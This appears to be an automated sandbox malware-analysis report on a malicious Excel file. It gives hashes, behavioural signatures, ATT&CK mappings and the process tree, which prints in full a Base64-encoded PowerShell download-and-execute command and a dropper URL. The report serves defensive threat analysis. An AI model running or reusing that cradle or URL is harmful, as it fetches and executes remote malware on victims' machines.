4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7

General

Target

4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls
Size

28KB
MD5

14399d9b212ebf920943652ba1e7f5e3
SHA1

2411de8a3f816645015e912bd92e5369c6e5b0c9
SHA256

4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7
SHA512

72f667df460361c44e51558fc09b035569bc570567ac732c25c5996f3e844170acf2d42439964993aeae04c41b7218226c5e989a7b9d78eacaf11b4a8b3f0c7b
SSDEEP

384:i8LD/TZxA6ymevz2NsdHLpeAokr25Uen/WWA/E:rD/N+6devz2NsdHLQkr25U6We

Score

10^/10

macro macro_on_action

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://oshi.at/LdxX

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	760	1136	powershell.exe	88

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	760	powershell.exe

Office macro that triggers on suspicious action 2 IoCs

Office document macro which triggers in special circumstances - often malicious.

macro macro_on_action

resource	yara_rule
behavioral2/files/0x000a0000000235a2-81.dat	office_macro_on_action
behavioral2/files/0x000a0000000235a2-106.dat	office_macro_on_action

Deletes itself 1 IoCs

pid	Process
1136	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\03385E00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1136	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
760	powershell.exe
760	powershell.exe
760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	760	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1136	EXCEL.EXE
1136	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1136 wrote to memory of 760	1136	EXCEL.EXE	92
PID 1136 wrote to memory of 760	1136	EXCEL.EXE	92

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls"
1⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBvAHMAaABpAC4AYQB0AC8ATABkAHgAWAAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:760

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4260,i,10065386245627775856,6567048529106473151,262144 --variations-seed-version --mojo-platform-channel-handle=4316 /prefetch:8
1⤵
PID:4852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls

Filesize
80KB

MD5
526f411c0b2a70169c7bd36ec94df353

SHA1
3135b7e311501a8e190b1f6a3c6d2c8d70a3eaa7

SHA256
0d8b1ed63059879af69da4adf782521bdb330030a95826104adccf0a2c1ed61b

SHA512
00e93f59c17c7cd13bb32d11f12883051b155c74f0517c9893641c2032ef650827228f9ba6b11cb443c221627c3c094e7855ad54cb3bcc101648aa25399fe0da

Download Submit
C:\Users\Admin\AppData\Local\Temp\4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls

Filesize
71KB

MD5
26ffe1edf58c54cae2b88470915dbfff

SHA1
c9b8edecaa2f95ab11327c91a82596e09cb0057f

SHA256
b777a040648fa5e12a36d35653aace10a86dfff41fa2ed38fd57676d23ff9b98

SHA512
e6e463f935d2a93364c987e8b2483ccccc1cb15691fc0c2374ad1b27319fab3ef7bb2e86519c4efe4da70ebb0989f8ac67c2eb74a766b868b2abc76be06227f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cdq1yx34.phn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/760-64-0x0000028F6EED0000-0x0000028F6EEF2000-memory.dmp

Filesize
136KB

Download
memory/1136-5-0x00007FFA8A110000-0x00007FFA8A120000-memory.dmp

Filesize
64KB

Download
memory/1136-35-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-8-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-11-0x00007FFA87950000-0x00007FFA87960000-memory.dmp

Filesize
64KB

Download
memory/1136-7-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-12-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-13-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-15-0x00007FFA87950000-0x00007FFA87960000-memory.dmp

Filesize
64KB

Download
memory/1136-18-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-20-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-19-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-17-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-14-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-16-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-3-0x00007FFA8A110000-0x00007FFA8A120000-memory.dmp

Filesize
64KB

Download
memory/1136-6-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-0-0x00007FFA8A110000-0x00007FFA8A120000-memory.dmp

Filesize
64KB

Download
memory/1136-10-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-49-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-50-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-9-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-1-0x00007FFACA12D000-0x00007FFACA12E000-memory.dmp

Filesize
4KB

Download
memory/1136-73-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-75-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-74-0x00007FFACA12D000-0x00007FFACA12E000-memory.dmp

Filesize
4KB

Download
memory/1136-2-0x00007FFA8A110000-0x00007FFA8A120000-memory.dmp

Filesize
64KB

Download
memory/1136-84-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-88-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-89-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download
memory/1136-4-0x00007FFA8A110000-0x00007FFA8A120000-memory.dmp

Filesize
64KB

Download
memory/1136-123-0x00007FFA8A110000-0x00007FFA8A120000-memory.dmp

Filesize
64KB

Download
memory/1136-126-0x00007FFA8A110000-0x00007FFA8A120000-memory.dmp

Filesize
64KB

Download
memory/1136-125-0x00007FFA8A110000-0x00007FFA8A120000-memory.dmp

Filesize
64KB

Download
memory/1136-124-0x00007FFA8A110000-0x00007FFA8A120000-memory.dmp

Filesize
64KB

Download
memory/1136-127-0x00007FFACA090000-0x00007FFACA285000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads